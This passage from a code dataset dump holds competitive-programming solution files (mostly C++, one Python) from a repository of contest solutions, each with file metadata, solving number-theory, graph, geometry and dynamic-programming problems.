{\n j++;\n }\n\n for (int p = j - 1; p >= i; p--) {\n sum += (long long)sign * f[j - p] * (long long)charVal(s[p]);\n }\n if (j < s.size()) {\n sign = (s[j] == '+' ? 1 : -1);\n j++;\n }\n }\n\n int pf = f.size() - 1;\n\n while (f[pf] > sum) {\n pf--;\n }\n\n int len = pf;\n\n string ans;\n for (int i = 0; i < len; i++) {\n ans += '0';\n if (sum == 0) {\n continue;\n }\n\n if (f[len - i] > sum) {\n continue;\n }\n ans[i] = val(sum / f[len - i]);\n sum %= f[len - i];\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.38749998807907104, "alphanum_fraction": 0.40486112236976624, "avg_line_length": 20.85714340209961, "blob_id": "68d4b23788dc891803fd2657d51b440840d4665c", "content_id": "1e02d4be7fa463603140ca3082c0de317eb5d1ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1440, "license_type": "no_license", "max_line_length": 81, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p3548-Accepted-s918921.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nint t, n, k, l;\r\n\r\ninline vector <int> merge(vector <int> &a, vector <int> &b, vector <int> &vals) {\r\n\tvector <int> res(a.size(), 0);\r\n\tfor (int i = 0; i < a.size(); i++) {\r\n\t\tfor (int j = 0; j < a.size(); j++) {\r\n\t\t\tint x = __gcd((long long)k, (long long)vals[i] * vals[j]);\r\n\t\t\tint p = lower_bound(vals.begin(), vals.end(), x) - vals.begin();\r\n\t\t\tadd(res[p], mul(a[i], b[j]));\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\r\n //cin >> n >> k >> l;\r\n\tscanf(\"%d%d%d\", &n, &k, &l);\r\n vector <int> d;\r\n for (int i = 1; i * i <= k; i++) {\r\n if (k % i == 0) {\r\n d.push_back(i);\r\n if (i * i != k) {\r\n d.push_back(k / i);\r\n }\r\n }\r\n }\r\n sort(d.begin(), d.end());\r\n vector <int> v(d.size(), 0);\r\n for (int i = 1; i <= l; i++) {\r\n int x = __gcd(k, i);\r\n int p = lower_bound(d.begin(), d.end(), x) - d.begin();\r\n add(v[p], 1);\r\n }\r\n vector <int> res(d.size(), 0);\r\n res[0] = 1;\r\n while (n) {\r\n if (n & 1) {\r\n res = merge(res, v, d);\r\n }\r\n v = merge(v, v, d);\r\n n >>= 1;\r\n }\r\n // cout << res[d.size() - 1] << \"\\n\";\r\n\tprintf(\"%d\\n\", res[d.size() - 1]);\r\n}\r\n" }, { "alpha_fraction": 0.3371647596359253, "alphanum_fraction": 0.3575989902019501, "avg_line_length": 24.100000381469727, "blob_id": "78d33138f938d4abd0cf4e0cf58190d7ec302f21", "content_id": "c273ac168fccc96f81cfa676083110913e9e45bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 783, "license_type": "no_license", "max_line_length": 70, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p1852-Accepted-s622828.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll len = 30;\r\n\r\nll n, mask, sol;\r\nchar str[35];\r\nmap<ll, ll> m;\r\n\r\nint main() {\r\n scanf(\"%lld\", &n);\r\n for (ll i = 0ll; i < n; i++) {\r\n scanf(\"%s\", str);\r\n mask = 0ll;\r\n for (ll j = 0ll; j < len; j++)\r\n if (str[j] == 'T')\r\n mask |= (1ll << j);\r\n for (ll j = 0ll; j < len; j++) {\r\n if ( m.find( mask ^ (1ll << j) ) != m.end() )\r\n sol += m[mask ^ (1ll << j)];\r\n for (ll k = j + 1; k < len; k++)\r\n if (m.find(mask ^ (1ll << j) ^ (1ll << k)) != m.end())\r\n sol += m[mask ^ (1ll << j) ^ (1ll << k)];\r\n }\r\n sol += m[mask]++;\r\n }\r\n printf(\"%lld\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.3766990303993225, "alphanum_fraction": 0.49126213788986206, "avg_line_length": 14.03125, "blob_id": "ce5f796b5c9384bf7894bce96e9d6a84cdbdf6c1", "content_id": "e15664695c5c1ae62340866cce7fd23e7f52585a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 515, "license_type": "no_license", "max_line_length": 39, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2656-Accepted-s542457.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint r,b;\r\ndouble dis,a1,a2,b1,b2;\r\n\r\nbool INT(double x)\r\n{\r\n\tint k;\r\n\tif(x-(double)(int(x)) <= 1e-6)\r\n\treturn 1;\r\n\tif(double(int(x)+1.0-x) <= 1e-6)\r\n\treturn 1;\r\n\r\n\treturn 0;\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&r,&b);\r\n\r\n\tdis=(r/2.0+2.0)*(r/2.0+2.0)-4.0*(r+b);\r\n\r\n\ta1=(r/2.0+2.0+sqrt(dis))/2.0;\r\n\tb1=r/2.0+2.0-a1;\r\n\ta2=(r/2.0+2.0-sqrt(dis))/2.0;\r\n\tb2=r/2.0+2.0-a2;\r\n\r\n\tif(INT(a1) && INT(b1))\r\n printf(\"%.0lf %.0lf\\n\",a1,b1);\r\n else printf(\"%.0lf %.0lf\\n\",a2,b2);\r\n}\r\n\r\n" }, { "alpha_fraction": 0.42439863085746765, "alphanum_fraction": 0.47079038619995117, "avg_line_length": 18.172412872314453, "blob_id": "056cbb002f2c10a5c728c7e79cd0714fd68d11e3", "content_id": "cb914c9a9cfd15b5db319cba872c65338c8cb428", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 582, "license_type": "no_license", "max_line_length": 50, "num_lines": 29, "path": "/Timus/1084-6291383.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1084\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ndouble l, r;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\tcin >> l >> r;\r\n\tif (r <= l / 2.0) {\r\n\t\tcout << fixed << M_PI * r * r << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tif (r >= l * sqrt(2.0) / 2.0) {\r\n\t\tcout << fixed << l * l << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tdouble a = l / 2.0 / r;\r\n\tdouble b = sqrt(1.0 - a * a);\r\n\tdouble c = 2.0 * acos(a);\r\n\tdouble d = 2.0 * a * b;\r\n\tdouble area = r * r * (M_PI - 2.0 * c + 2.0 * d);\r\n\tcout << fixed << area << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4329608976840973, "alphanum_fraction": 0.455307275056839, "avg_line_length": 20.375, "blob_id": "0e6f6ac6e728e6727e49a2d37ebf6d4b1f60192a", "content_id": "1966f6fc90f4b99c56e988f567dbb9789eda9309", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 716, "license_type": "no_license", "max_line_length": 65, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2870-Accepted-s644875.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 105;\r\n\r\nint tc, n, dp[MAXN], ac[MAXN];\r\npair<int, int> cl[MAXN];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> cl[i].second >> cl[i].first;\r\n\t\t\tac[i] = ac[i - 1] + cl[i].second;\r\n\t\t}\r\n\t\tsort(cl + 1, cl + n + 1);\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tdp[i] = dp[i - 1] + (cl[i].second + 10) * cl[i].first;\r\n\t\t\tfor (int j = i - 1; j; j--) {\r\n\t\t\t\tint tmp = dp[j - 1] + (ac[i] - ac[j - 1] + 10) * cl[i].first;\r\n\t\t\t\tif (dp[i] > tmp) dp[i] = tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[n] << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42446044087409973, "alphanum_fraction": 0.4532374143600464, "avg_line_length": 14.95121955871582, "blob_id": "99adbf1ec3e89b344ea3dc2568dc71d50b33386e", "content_id": "4d8d40a233fbcf6b8f92faf6d035130f9b6e53ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 695, "license_type": "no_license", "max_line_length": 53, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p1740-Accepted-s540502.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n#define MAX 2010\r\nchar line[MAX];\r\n\r\nint ini[MAX],fin[MAX];\r\nbool dp[MAX][MAX];\r\n\r\nlong sol;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s\",line+1);\r\n\r\n\tint len=strlen(line+1);\r\n\r\n\tfor(int i=1; i<=len; i++)\r\n\t\tdp[i][i]=1;\r\n\r\n\tfor(int i=1; i<len; i++)\r\n\t\tdp[i][i+1]=(line[i]==line[i+1]);\r\n\r\n\tfor(int l=2; l<=len; l++)\r\n\t\tfor(int i=1; i<=len; i++)\r\n\t\t\tdp[i][i+l]=(line[i]==line[i+l] && dp[i+1][i+l-1]);\r\n\r\n\tfor(int i=1; i<=len; i++)\r\n\t\tfor(int j=i; j<=len; j++)\r\n if(dp[i][j])\r\n ini[i]++,\r\n fin[j]++;\r\n\r\n\tfor(int i=len-1; i; i--)\r\n\t\tini[i]+=ini[i+1];\r\n\r\n\tfor(int i=1; i<len; i++)\r\n\t\tsol+=fin[i]*ini[i+1];\r\n\r\n\tprintf(\"%ld\\n\",sol);\r\n\r\n}\r\n" }, { "alpha_fraction": 0.2694915235042572, "alphanum_fraction": 0.30282485485076904, "avg_line_length": 26.44186019897461, "blob_id": "42ea995e72b03d7493409f70e316aea24fa02738", "content_id": "0991c466c1dd8721a254d58235bf4d5721d38074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3540, "license_type": "no_license", "max_line_length": 97, "num_lines": 129, "path": "/Codeforces-Gym/101234 - 2016-2017 National Taiwan University World Final Team Selection Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 National Taiwan University World Final Team Selection Contest\n// 101234C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 2000;\n\nbool used[N + 5][N + 5];\n\ninline int sign(long long x) {\n if (x < 0) {\n return -1;\n }\n if (x > 0) {\n return 1;\n }\n return 0;\n}\n\ninline long long cross(long long x1, long long y1, long long x2, long long y2) {\n return x1 * y2 - x2 * y1;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int n;\n cin >> n;\n\n for (int i = 0; i < n; i++) {\n int x1, x2, y1, y2;\n cin >> x1 >> y1 >> x2 >> y2;\n\n int dx = x2 - x1;\n int dy = y2 - y1;\n\n if (dx == 0 || dy == 0) {\n continue;\n }\n\n int g = __gcd(abs(dx), abs(dy));\n\n //cerr << g << \"\\n\";\n\n if (sign(dx) == sign(dy)) {\n //cerr << \"case 1\\n\";\n if (x1 > x2) {\n swap(x1, x2);\n swap(y1, y2);\n }\n dx = x2 - x1;\n dy = y2 - y1;\n\n dx /= g;\n dy /= g;\n\n //cerr << x1 << \" \" << y1 << \" \" << x2 << \" \" << y2 << \"\\n\";\n //cerr << dx << \" \" << dy << \"\\n\\n\";\n\n for (int i = 0; i < g; i++) {\n int curX = x1 + dx * i;\n int curY = y1 + dy * i + 1;\n int nextX = x1 + dx * (i + 1);\n int nextY = y1 + dy * (i + 1);\n //cerr << \"cur \" << curX << \" \" << curY << \"\\n\";\n //cerr << \"next \" << nextX << \" \" << nextY << \"\\n\";\n //cerr << \"cross \" << cross(curX - x1, curY - y1, curX - x2, curY - y2) << \"\\n\";\n while (true) {\n //cerr << \"mark -->> \" << curX << \" \" << curY << \"\\n\";\n used[curX + 1][curY] = true;\n while (cross(curX + 1 - x1, curY - y1, curX + 1 - x2, curY - y2) > 0) {\n curX++;\n //cerr << \"mark \" << curX << \" \" << curY << \"\\n\";\n used[curX + 1][curY] = true;\n }\n if (curY == nextY) {\n break;\n }\n curY++;\n }\n }\n } else {\n //cerr << \"case 2\\n\";\n if (x1 > x2) {\n swap(x1, x2);\n swap(y1, y2);\n }\n dx = x2 - x1;\n dy = y2 - y1;\n\n dx /= g;\n dy /= g;\n\n for (int i = 0; i < g; i++) {\n int curX = x1 + dx * i;\n int curY = y1 + dy * i - 1;\n int nextX = x1 + dx * (i + 1);\n int nextY = y1 + dy * (i + 1);\n while (true) {\n used[curX + 1][curY + 1] = true;\n //cerr << \"mark \" << curX << \" \" << curY << \"\\n\";\n while (cross(curX + 1 - x1, curY - y1, curX + 1 - x2, curY - y2) < 0) {\n curX++;\n //cerr << \"mark \" << curX << \" \" << curY << \"\\n\";\n used[curX + 1][curY + 1] = true;\n }\n if (curY == nextY) {\n break;\n }\n curY--;\n }\n }\n }\n }\n int ans = 0;\n for (int x = 1; x <= N; x++) {\n for (int y = 1; y <= N; y++) {\n if (used[x][y]) {\n ans++;\n }\n }\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4318813681602478, "alphanum_fraction": 0.4494902789592743, "avg_line_length": 17.981481552124023, "blob_id": "d970f57ba15acc7f450328835379da2fc79f6082", "content_id": "e5e34a8248b272a1d88b05aa0e3c1d8968a7bac6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1079, "license_type": "no_license", "max_line_length": 76, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p3483-Accepted-s963500.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 35;\r\n\r\nint n, k;\r\nbool graph[N][N];\r\nint subTreeSize[N];\r\nint dp[N][N][N];\r\nvector <int> sons[N];\r\nint ans = 0;\r\n\r\nvoid dfs(int u, int p) {\r\n\tsubTreeSize[u] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (i != p && graph[u][i]) {\r\n\t\t\tsons[u].push_back(i);\r\n\t\t\tdfs(i, u);\r\n\t\t\tsubTreeSize[u] += subTreeSize[i];\r\n\t\t}\r\n\t}\r\n\t// DP\r\n\tdp[u][0][1] = 1;\r\n\tint total = 1;\r\n\tfor (int i = 0; i < sons[u].size(); i++) {\r\n\t\tint id = sons[u][i];\r\n\t\tfor (int size = 1; size <= total; size++) {\r\n\t\t\tdp[u][i + 1][size] += dp[u][i][size];\r\n\t\t\t\tfor (int x = 1; x <= subTreeSize[id]; x++) {\r\n\t\t\t\t\t\tassert(size + x <= n);\r\n\t\t\t\t\t\tdp[u][i + 1][size + x] += dp[u][i][size] * dp[id][sons[id].size()][x];\r\n\t\t\t\t}\r\n\t\t}\r\n\t\ttotal += subTreeSize[id];\r\n\t}\r\n\tans += dp[u][sons[u].size()][k];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\tk = n - k;\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tx--;\r\n\t\ty--;\r\n\t\tgraph[x][y] = graph[y][x] = true;\r\n\t}\r\n\tdfs(0, -1);\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3580613136291504, "alphanum_fraction": 0.43916913866996765, "avg_line_length": 17.44230842590332, "blob_id": "2bfaecb259bf58b3f2b26692bae9b70a3c0e18d0", "content_id": "c8c3b7c64549f420f2066e9176df179a2116acab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1011, "license_type": "no_license", "max_line_length": 62, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3621-Accepted-s940081.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nint t;\r\n\r\nvoid solve(LL x1, LL y1, LL r1, LL x2, LL y2, LL r2) {\r\n\tif (x1 == x2 && y1 == y2 && r1 == r2) {\r\n\t\tcout << \"SAME\\n\";\r\n\t\treturn;\r\n\t}\r\n\tLL dx = x1 - x2;\r\n\tLL dy = y1 - y2;\r\n\tLL d2 = dx * dx + dy * dy;\r\n\tif (d2 == r1 * r1 + r2 * r2 + 2LL * r1 * r2) {\r\n\t\tcout << \"TANGENT EXT\\n\";\r\n\t\treturn;\r\n\t}\r\n\tif (d2 == r1 * r1 + r2 * r2 - 2LL * r1 * r2) {\r\n\t\tcout << \"TANGENT INT\\n\";\r\n\t\treturn;\r\n\t}\r\n\tif (d2 > r1 * r1 + r2 * r2 + 2LL * r1 * r2) {\r\n\t\tcout << \"EXT\\n\";\r\n\t\treturn;\r\n\t}\r\n\tif (d2 < r1 * r1 && d2 < r1 * r1 + r2 * r2 - 2LL * r1 * r2) {\r\n\t\tcout << \"INT\\n\";\r\n\t\treturn;\r\n\t}\r\n\tif (d2 < r2 * r2 && d2 < r1 * r1 + r2 * r2 - 2LL * r1 * r2) {\r\n cout << \"INT\\n\";\r\n return;\r\n\t}\r\n\tcout << \"SEC\\n\";\r\n\treturn;\r\n\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint t;\r\n\tLL x1, x2, y1, y2, r1, r2;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> x1 >> y1 >> r1 >> x2 >> y2 >> r2;\r\n\t\tsolve(x1, y1, r1, x2, y2, r2);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4005524814128876, "alphanum_fraction": 0.45303866267204285, "avg_line_length": 13.166666984558105, "blob_id": "ff6df469bd52ae6cc5968849e411d3093a1fe499", "content_id": "c08a83fc3191b671a5b6ba50bff5a6924c90c334", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 362, "license_type": "no_license", "max_line_length": 37, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3317-Accepted-s815665.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1e6;\r\n\r\nconst int mod = 1000000007;\r\n\r\nint t, n;\r\nint f[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\tf[0] = f[1] = 1;\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tf[i] = (f[i - 1] + f[i - 2]) % mod;\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tcout << f[n] << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.46437346935272217, "alphanum_fraction": 0.47174447774887085, "avg_line_length": 13.65384578704834, "blob_id": "4a7b6c351e411a043e621c7ec89b5cf5f02f57d6", "content_id": "0fa40d64c07d793f542c8847cd0dd4892ff2a17f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 407, "license_type": "no_license", "max_line_length": 31, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p3468-Accepted-s904709.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nstring s;\r\nmap <string, int> M;\r\nmap <string, int>::iterator it;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\twhile (n--) {\r\n\t\tcin >> s;\r\n\t\tsort(s.begin(), s.end());\r\n\t\tit = M.find(s);\r\n\t\tif (it == M.end()) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tM[s] = 1;\r\n\t\t} else {\r\n\t\t\tcout << it->second << \"\\n\";\r\n\t\t\tit->second++;\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.45306724309921265, "alphanum_fraction": 0.47376200556755066, "avg_line_length": 21.93220329284668, "blob_id": "ee2fc69333e62c153f389ecc89cd9231fa4f915b", "content_id": "2caecc9925c02ba943c2b5b8f2161e9a2102c152", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1353, "license_type": "no_license", "max_line_length": 68, "num_lines": 59, "path": "/Codeforces-Gym/100800 - 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)/M.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)\n// 100800M\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint m, n;\n\tcin >> m >> n;\n\tvector <long long> t(m);\n\tfor (int i = 0; i < m; i++) {\n\t\tcin >> t[i];\n\t}\n\tvector <long long> x(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> x[i];\n\t}\n\tset <pair <long long, long long> > speeds;\n\tvector <long long> dists;\n\tfor (int i = 0; n - (i + 1) >= m - 1; i++) {\n\t\tlong long dx = x[i + 1] - x[i];\n\t\tlong long dt = t[1] - t[0];\n\t\tlong long g = __gcd(dx, dt);\n\t\tdx /= g;\n\t\tdt /= g;\n\t\t//cerr << i << \" \" << dx << \" \" << dt << \"\\n\";\n\t\tbool ok = true;\n\t\tfor (int j = i + 2; j < i + m; j++) {\n\t\t\tlong long dxx = x[j] - x[i];\n\t\t\tlong long dtt = t[j - i] - t[0];\n\t\t\tlong long gg = __gcd(dxx, dtt);\n\t\t\tdxx /= gg;\n\t\t\tdtt /= gg;\n\t\t\t//cerr << \" \" << j << \" \" << dxx << \" \" << dtt << \"\\n\";\n\t\t\tif (dxx != dx || dtt != dt) {\n\t\t\t\tok = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (ok) {\n\t\t\tspeeds.insert(make_pair(dx, dt));\n\t\t\tdists.push_back(x[i + 1] - x[i]);\n\t\t}\n\t}\n\tcout << speeds.size() << \"\\n\";\n\tsort(dists.begin(), dists.end());\n\tdists.erase(unique(dists.begin(), dists.end()), dists.end());\n\tfor (int i = 0; i < dists.size(); i++) {\n\t\tcout << dists[i];\n\t\tif (i + 1 < dists.size()) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.42080745100975037, "alphanum_fraction": 0.48447203636169434, "avg_line_length": 21.20689582824707, "blob_id": "fc19fb173bcf7326549e630d6bd3f3b9056cc3b8", "content_id": "833a7e97684388f6f1064b77a3eb2d840f76d723", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 644, "license_type": "no_license", "max_line_length": 163, "num_lines": 29, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/K2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150K2\n\n\n# (a, b) -> (b, a % b)\ndef gcd(a, b):\n while b != 0:\n tmp = a % b\n a = b\n b = tmp\n return a\n\ndef abs(x):\n if x < 0:\n x = -x\n return x\n\ndef main():\n n = int(input())\n a = list(map(int, input().split()))\n ans = 0\n for i in range(n):\n for j in range(i):\n ans = gcd(ans, abs(a[i] - a[j]))\n ans = ((a[0] + ans - 1) // ans) * ans - a[0]\n print(ans)\n \nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.44639718532562256, "alphanum_fraction": 0.45694199204444885, "avg_line_length": 17.620689392089844, "blob_id": "7fa4dfbfecde538c1edd0adeb7f44deb5df56946", "content_id": "c1ee088a626969528cd79ffa80d96311556014ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 569, "license_type": "no_license", "max_line_length": 63, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1882-Accepted-s658420.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nint mx;\r\nstring a, b;\r\nmap<string, int> M;\r\nmap<string, int>::iterator it;\r\n\r\nint main() {\r\n\tcin >> a;\r\n\tif (a.size() >= 8) {\r\n\t\tfor (int i = 0; i + 7 < a.size(); i++) {\r\n\t\t\tb.clear();\r\n\t\t\tfor (int j = 0; j < 8; j++)\r\n\t\t\t\tb += a[i + j];\r\n\t\t\tM[b]++;\r\n\t\t}\r\n\t}\r\n\tb.clear();\r\n\tfor (it = M.begin(); it != M.end(); it++)\r\n\t\tif (it->second > mx || (it->second == mx && it->first < b)) {\r\n\t\t\tmx = it->second;\r\n\t\t\tb = it->first;\r\n\t\t}\r\n\tif (mx >= 2) cout << b << \"\\n\";\r\n\telse cout << \"Solution was not found\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3465116322040558, "alphanum_fraction": 0.361860454082489, "avg_line_length": 17.12389373779297, "blob_id": "e6e2eccf252a79afae9c57b26d6f27dffb97739c", "content_id": "4bb552bc782caf96629f973c6b1e2394e576e6bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2150, "license_type": "no_license", "max_line_length": 52, "num_lines": 113, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/F4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\r\nconst int MAXN = 400;\r\n\r\nint n, m;\r\nvector<int> g[MAXN];\r\nint from[MAXN];\r\nbool mk[MAXN];\r\n\r\nbool dfs( int u ){\r\n if( mk[u] ){\r\n return false;\r\n }\r\n\r\n mk[u] = true;\r\n\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n\r\n if( !from[v] || dfs(from[v]) ){\r\n from[v] = u;\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint kuhn(){\r\n fill( from , from + m + 1 , 0 );\r\n int mxf = 0;\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n fill( mk , mk + n + 1 , false );\r\n if( dfs(i) ){\r\n mxf++;\r\n }\r\n }\r\n\r\n return mxf;\r\n}\r\n\r\nbool min_cover1[MAXN];\r\nbool min_cover2[MAXN];\r\nint cola[MAXN];\r\n\r\nvoid min_cover(){\r\n fill( min_cover1 , min_cover1 + n + 1 , false );\r\n fill( min_cover2 , min_cover2 + m + 1 , false );\r\n\r\n for(int i = 1; i <= m; i++){\r\n if( from[i] ){\r\n min_cover1[ from[i] ] = true;\r\n }\r\n }\r\n\r\n int enq = 0, deq = 0;\r\n for(int i = 1; i <= n; i++){\r\n if( !min_cover1[i] ){\r\n cola[enq++] = i;\r\n }\r\n }\r\n\r\n while( deq < enq ){\r\n int u = cola[deq++];\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n\r\n if( from[v] ){\r\n min_cover2[v] = true;\r\n if( min_cover1[ from[v] ] ){\r\n cola[enq++] = from[v];\r\n min_cover1[ from[v] ] = false;\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\r\n cin >> n >> m;\r\n for( int i = 1; i <= n; i++ ){\r\n int di; cin >> di;\r\n\r\n int v;\r\n while( di-- ){\r\n cin >> v;\r\n g[i].push_back(v);\r\n }\r\n }\r\n\r\n kuhn();\r\n min_cover();\r\n\r\n vector<int> sol;\r\n for( int i = 1; i <= n; i++ ){\r\n if( !min_cover1[i] ){\r\n sol.push_back(i);\r\n }\r\n }\r\n\r\n cout << sol.size() << '\\n';\r\n for( int i = 0; i < sol.size(); i++ ){\r\n cout << sol[i] << \" \\n\"[i+1==sol.size()];\r\n }\n}\n" }, { "alpha_fraction": 0.4402618706226349, "alphanum_fraction": 0.4517184793949127, "avg_line_length": 19.068965911865234, "blob_id": "a3a6430ea3640e673f5ea8746de504805e9dc454", "content_id": 